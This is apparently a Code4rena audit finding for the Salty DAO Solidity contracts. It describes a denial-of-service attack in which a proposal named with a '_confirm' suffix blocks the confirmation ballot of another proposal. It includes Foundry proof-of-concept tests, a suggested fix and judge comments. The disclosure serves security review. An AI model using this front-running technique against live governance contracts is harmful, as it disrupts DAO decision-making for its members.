Insufficient Input Validation in `Proposals::proposeSetContractAddress` and `Proposals::proposeWebsiteUpdate` prevents the execution of `createConfirmationProposal`

[c4-bot-2]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L102-L103 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L240-L246 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L249-L255 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L203-L208

Vulnerability details

Impact

According to documentation, ballots created with proposeSetContractAddress and proposeWebsiteUpdate functions are considered higher impact proposals. When these proposals are finalized, a new ballot is created with createConfirmationProposal and is voted on again.

A DAO member can propose a new contract address by calling the Proposals::proposeSetContractAddress() function with specifying contractName, newAddress and description parameters. With this contractName, a ballot is created. For example, if the DAO member wants to propose a change to priceFeed1, the contractName parameter they need to provide to the function is priceFeed1, and the resulting ballotName will be "setContract:priceFeed1". This ballot can be finalized when it receives enough votes to reach a quorum and after ballotMinimumEndTime has passed. When this ballot is finalized, the Proposals::createConfirmationProposal() function is called. This function takes the ballotName and appends "_confirm" to the end of it. Thus, the ballotName becomes "setContract:priceFeed1_confirm". The Proposals contract registers each ballotName in the openBallotsByName mapping to prevent the creation of multiple ballots with the same name. If a malicious user calls the Proposals::proposeSetContractAddress() function before the ballot's finalization tx and sets the contractName to "priceFeed1_confirm" (Maybe even by constantly scanning the mempool via a bot and creating proposals with a contractName ending with "_confirm" for every proposed ballotName before finalizing), then the resulting ballotName will be "setContract:priceFeed1_confirm". In this case the ballotName that is being attempted to finalize with Proposals::createConfirmationProposal() cannot be registered in the openBallotsByName mapping again, and the transaction will revert.

Since this same attack vector also applies to proposeWebsiteUpdate, it will prevent the both most important ballots of changing the contract address and changing the website URL from being finalized.

Proof of Concept

For the test to work properly, add this to the DAO.t.sol constructor;

        vm.prank(DEPLOYER);
        salt.transfer(bob, 5000000 ether);

The following tests demonstrates user causing a denial of service with Proposals::proposeSetContractAddress and Proposals::proposeWebsiteUpdate functions. You can add it to DAO.t.sol.

function test_DoS_CreateConfirmationProposalWithSetContract() public {
        // Alice creates a proposal to set a contract address with ballotName: priceFeed1
        vm.startPrank(alice);
        staking.stakeSALT(1000000 ether);

        uint256 firstProposalId = proposals.proposeSetContractAddress("priceFeed1", address(0x1231231), "description");
        Ballot memory firstBallot = proposals.ballotForID(firstProposalId);
        emit log_named_string("1st ballotName", firstBallot.ballotName);
        vm.stopPrank();

        vm.startPrank(bob);
        salt.approve(address(staking), type(uint256).max);
        staking.stakeSALT(1000000 ether);

        // Bob creates a malicious proposal to set a contract address with ballotName: "priceFeed1_confirm"
        uint256 secondProposalId = proposals.proposeSetContractAddress("priceFeed1_confirm", address(0x1231231), "description");
        Ballot memory secondBallot = proposals.ballotForID(secondProposalId);
        emit log_named_string("2nd ballotName", secondBallot.ballotName);

        // Dao.finalizeBallot(firstProposalId) will try to create a confirmation ballot but will revert
        _voteForAndFinalizeBallot(firstProposalId, Vote.YES);
        Ballot memory confirmationBallot = proposals.ballotForID(secondProposalId + 1);
        emit log_named_string("confirmation ballotName", confirmationBallot.ballotName);
        vm.stopPrank();
}

    function test_DoS_CreateConfirmationProposalWithWebsiteUpdate() public {
        // Alice creates a proposal to website update with newWebsiteURL: "websiteURL"
        vm.startPrank(alice);
        staking.stakeSALT(1000000 ether);

        uint256 firstProposalId = proposals.proposeWebsiteUpdate("websiteURL", "description");
        Ballot memory firstBallot = proposals.ballotForID(firstProposalId);
        emit log_named_string("1st ballotName", firstBallot.ballotName);
        vm.stopPrank();

        vm.startPrank(bob);
        salt.approve(address(staking), type(uint256).max);
        staking.stakeSALT(1000000 ether);

        // Bob creates a malicious proposal to website update with newWebsiteURL: "websiteURL_confirm"
        uint256 secondProposalId = proposals.proposeWebsiteUpdate("websiteURL_confirm", "description");
        Ballot memory secondBallot = proposals.ballotForID(secondProposalId);
        emit log_named_string("2nd ballotName", secondBallot.ballotName);

        // Dao.finalizeBallot(firstProposalId) will try to create a confirmation ballot but will revert
        _voteForAndFinalizeBallot(firstProposalId, Vote.YES);
        Ballot memory confirmationBallot = proposals.ballotForID(secondProposalId + 1);
        emit log_named_string("confirmation ballotName", confirmationBallot.ballotName);
        vm.stopPrank();
    }

Tools Used

Manual Review and Foundry

Recommended Mitigation Steps

You can add a string checking logic as follows and enforce with require in other functions.

    function containsConfirmSuffix(string memory input) internal pure returns (bool) {
        bytes memory confirmBytes = bytes("_confirm");
        bytes memory inputBytes = bytes(input);

        if (inputBytes.length < confirmBytes.length) {
            return false;
        }
        for (uint256 i = 0; i < inputBytes.length - confirmBytes.length + 1; i++) {
            bool isMatch = true;
            for (uint256 j = 0; j < confirmBytes.length; j++) {
                if (inputBytes[i + j] != confirmBytes[j]) {
                    isMatch = false;
                    break;
                }
            }
            if (isMatch) {
                return true;
            }
        }

        return false;
    }

    function proposeSetContractAddress(string calldata contractName, address newAddress, string calldata description)
        external
        nonReentrant
        returns (uint256 ballotID)
    {
        require(newAddress != address(0), "Proposed address cannot be address(0)");
+       require(!containsConfirmSuffix(contractName), "Invalid contractName");

        string memory ballotName = string.concat("setContract:", contractName);
        return _possiblyCreateProposal(ballotName, BallotType.SET_CONTRACT, newAddress, 0, "", description);
    }

    function proposeWebsiteUpdate(string calldata newWebsiteURL, string calldata description)
        external
        nonReentrant
        returns (uint256 ballotID)
    {
        require(
            keccak256(abi.encodePacked(newWebsiteURL)) != keccak256(abi.encodePacked("")),
            "newWebsiteURL cannot be empty"
        );
+       require(!containsConfirmSuffix(newWebsiteURL), "Invalid websiteURL");
        string memory ballotName = string.concat("setURL:", newWebsiteURL);
        return
            _possiblyCreateProposal(ballotName, BallotType.SET_WEBSITE_URL, address(0), 0, newWebsiteURL, description);
    }

Assessed type

DoS

[c4-judge]

Picodes marked the issue as duplicate of #620

[c4-judge]

Picodes changed the severity to 2 (Med Risk)

[c4-judge]

Picodes changed the severity to QA (Quality Assurance)

[c4-judge]

This previously downgraded issue has been upgraded by Picodes

[c4-judge]

Picodes marked the issue as satisfactory